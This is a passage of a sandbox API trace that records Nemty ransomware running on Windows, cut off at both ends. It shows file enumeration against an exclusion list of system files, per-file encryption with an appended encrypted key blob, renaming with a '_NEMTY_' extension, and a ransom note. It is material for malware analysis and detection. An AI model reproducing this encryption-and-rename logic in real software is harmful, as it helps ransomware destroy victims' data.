"c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.tur._nemty_kgobjgd_")) returned 1 [0171.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0171.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.103] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".") returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="..") returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="...") returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="windows") returned -1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="$RECYCLE.BIN") returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="rsa") returned -1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="NTDETECT.COM") returned -1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="ntldr") returned -1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="MSDOS.SYS") returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="IO.SYS") returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="boot.ini") returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="boot.ini") returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0171.103] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="ntuser.dat") returned -1 [0171.104] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="desktop.ini") returned 1 [0171.104] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="CONFIG.SYS") returned 1 [0171.104] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="RECYCLER") returned -1 [0171.104] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="BOOTSECT.BAK") returned 1 [0171.104] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="bootmgr") returned 1 [0171.104] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="programdata") returned -1 [0171.104] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="appdata") returned 1 [0171.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0171.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0171.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0171.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0171.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.104] Sleep (dwMilliseconds=0x5) [0171.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19a38f10, dwHighDateTime=0x1d561e8)) [0171.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19a38f10, dwHighDateTime=0x1d561e8)) [0171.114] GetLastError () returned 0x0 [0171.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.114] GetLastError () returned 0x0 [0171.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.114] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0171.114] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0171.115] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0171.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0171.115] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="bT1MDX2q92opnOwgVXI9yvdV0vY3zN2WAmYDs+54YchZNoSmxTwPXj0VDmJk86PR\r\nZzuod6xKDEbYKPKtHtuchJMQFYaTejQO6W75+GSmOQ6Rxz38JFjh6DO18jf74GQ/\r\nBfjqM5bfe5VJwlsrt0y9k6OrJMApKBBRvljBBQ/9QKiJ09kdWrO/7BPEadd7TJk/\r\nzJueG1bbU7z8qu3Ws2yM2owX1Jf+oxtJLmxeeFEMlAeh8C841JkMHBAj9mMxoHhh\r\ngryVw4rYN9jXYfILs65lGcWr+K9gklIo+gQ3Ix+CajEhECIy0PBzEYNOSdt1rZlj\r\nnejDlo+k4eKF+R2FF4y/mw==\r\n", pcchString=0x653e91c) returned 1 [0171.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0171.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.115] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0171.115] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0171.115] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.115] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0171.117] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.117] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0171.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.117] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0171.117] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0171.118] CloseHandle (hObject=0x254) returned 1 [0171.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0171.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.118] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ukr._nemty_kgobjgd_")) returned 1 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.118] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1960e890, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1960e890, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x196349f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.119] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.120] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94288 [0171.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.120] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1960e890, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1960e890, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x196349f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.120] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0171.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0171.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0171.120] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b4000, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="ccme_base.dll", cAlternateFileName="CCME_B~1.DLL")) returned 1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2=".") returned 1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="..") returned 1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="...") returned 1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="windows") returned -1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="$RECYCLE.BIN") returned 1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="rsa") returned -1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="NTDETECT.COM") returned -1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="ntldr") returned -1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="MSDOS.SYS") returned -1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="IO.SYS") returned -1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="boot.ini") returned 1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="boot.ini") returned 1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="AUTOEXEC.BAT") returned 1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="ntuser.dat") returned -1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="desktop.ini") returned -1 [0171.120] lstrcmpiW (lpString1="ccme_base.dll", lpString2="CONFIG.SYS") returned -1 [0171.121] lstrcmpiW (lpString1="ccme_base.dll", lpString2="RECYCLER") returned -1 [0171.121] lstrcmpiW (lpString1="ccme_base.dll", lpString2="BOOTSECT.BAK") returned 1 [0171.121] lstrcmpiW (lpString1="ccme_base.dll", lpString2="bootmgr") returned 1 [0171.121] lstrcmpiW (lpString1="ccme_base.dll", lpString2="programdata") returned -1 [0171.121] lstrcmpiW (lpString1="ccme_base.dll", lpString2="appdata") returned 1 [0171.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ccme_base.dll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.121] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ccme_base.dll", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ccme_base.dll", lpUsedDefaultChar=0x0) returned 13 [0171.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 